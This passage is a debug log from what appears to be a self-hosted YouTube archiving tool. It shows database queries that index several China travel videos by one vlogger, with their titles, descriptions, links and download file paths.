s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:18.410 [debug] QUERY OK source="sources" db=0.1ms idle=1723.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:18.410 [debug] QUERY OK source="media_items" db=0.1ms idle=1018.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 18:28:18.412 [debug] QUERY OK source="media_items" db=0.9ms idle=846.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "85fe744b-f0b0-475d-af4a-3c8e5b0662c8", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 01:28:18Z], ~U[2026-08-20 01:28:18Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 18:28:18.412 [debug] QUERY OK source="sources" db=0.1ms idle=19.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:18.413 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:18.413 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404257] 18:28:18.413 [debug] Current batch of media processed. Will check again in 1000ms 18:28:19.414 [debug] Current batch of media processed. Will check again in 1000ms 18:28:20.415 [debug] Current batch of media processed. Will check again in 1000ms 18:28:21.416 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "duration" => 2334, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", "id" => "k8tdg6v0FQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k8tdg6v0FQo", "playlist_index" => 2, "timestamp" => 1784303950, "title" => "China's Most Viral City Is Hiding a Dying Job", "upload_date" => "20260717"} 18:28:21.417 [debug] QUERY OK source="sources" db=0.2ms idle=1729.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:21.417 [debug] QUERY OK source="sources" db=0.1ms idle=1729.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:21.417 [debug] QUERY OK source="media_items" db=0.3ms idle=1730.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 18:28:21.419 [debug] QUERY OK source="media_items" db=1.3ms idle=1021.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "0959a646-497c-47bf-9d05-83b5762a1f67", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 01:28:21Z], ~U[2026-08-20 01:28:21Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 18:28:21.420 [debug] QUERY OK source="sources" db=0.2ms idle=21.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:21.420 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:21.421 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [342888] 18:28:21.421 [debug] Current batch of media processed. Will check again in 1000ms 18:28:22.422 [debug] Current batch of media processed. Will check again in 1000ms 18:28:23.423 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "duration" => 2295, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", "id" => "7sCIBpshaCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7sCIBpshaCI", "playlist_index" => 3, "timestamp" => 1782502970, "title" => "China's Loneliest Man Shows Me His World", "upload_date" => "20260626"} 18:28:23.424 [debug] QUERY OK source="sources" db=0.3ms idle=736.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:23.424 [debug] QUERY OK source="sources" db=0.2ms idle=737.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:23.425 [debug] QUERY OK source="media_items" db=0.3ms idle=737.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 18:28:23.426 [debug] QUERY OK source="media_items" db=0.7ms idle=738.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "979cc54f-b273-46de-aa44-414852a4956f", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 01:28:23Z], ~U[2026-08-20 01:28:23Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 18:28:23.426 [debug] QUERY OK source="sources" db=0.2ms idle=24.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:23.427 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:23.427 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [251562] 18:28:23.427 [debug] Current batch of media processed. Will check again in 1000ms 18:28:24.428 [debug] Current batch of media processed. Will check again in 1000ms 18:28:25.429 [debug] Current batch of media processed. Will check again in 1000ms 18:28:26.430 [debug] Current batch of media processed. Will check again in 1000ms 18:28:27.431 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "duration" => 1064, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", "id" => "MEDlM-cA1Z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "playlist_index" => 4, "timestamp" => 1781884520, "title" => "Inside China's Insane Propaganda Theme Park", "upload_date" => "20260619"} 18:28:27.432 [debug] QUERY OK source="sources" db=0.4ms idle=744.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:27.432 [debug] QUERY OK source="sources" db=0.2ms idle=745.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:27.433 [debug] QUERY OK source="media_items" db=0.2ms idle=745.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 18:28:27.434 [debug] QUERY OK source="media_items" db=0.7ms idle=746.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "10d3d426-62ca-453e-a16e-8656a3c03ce8", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 01:28:27Z], ~U[2026-08-20 01:28:27Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 18:28:27.434 [debug] QUERY OK source="sources" db=0.2ms idle=28.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:27.434 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 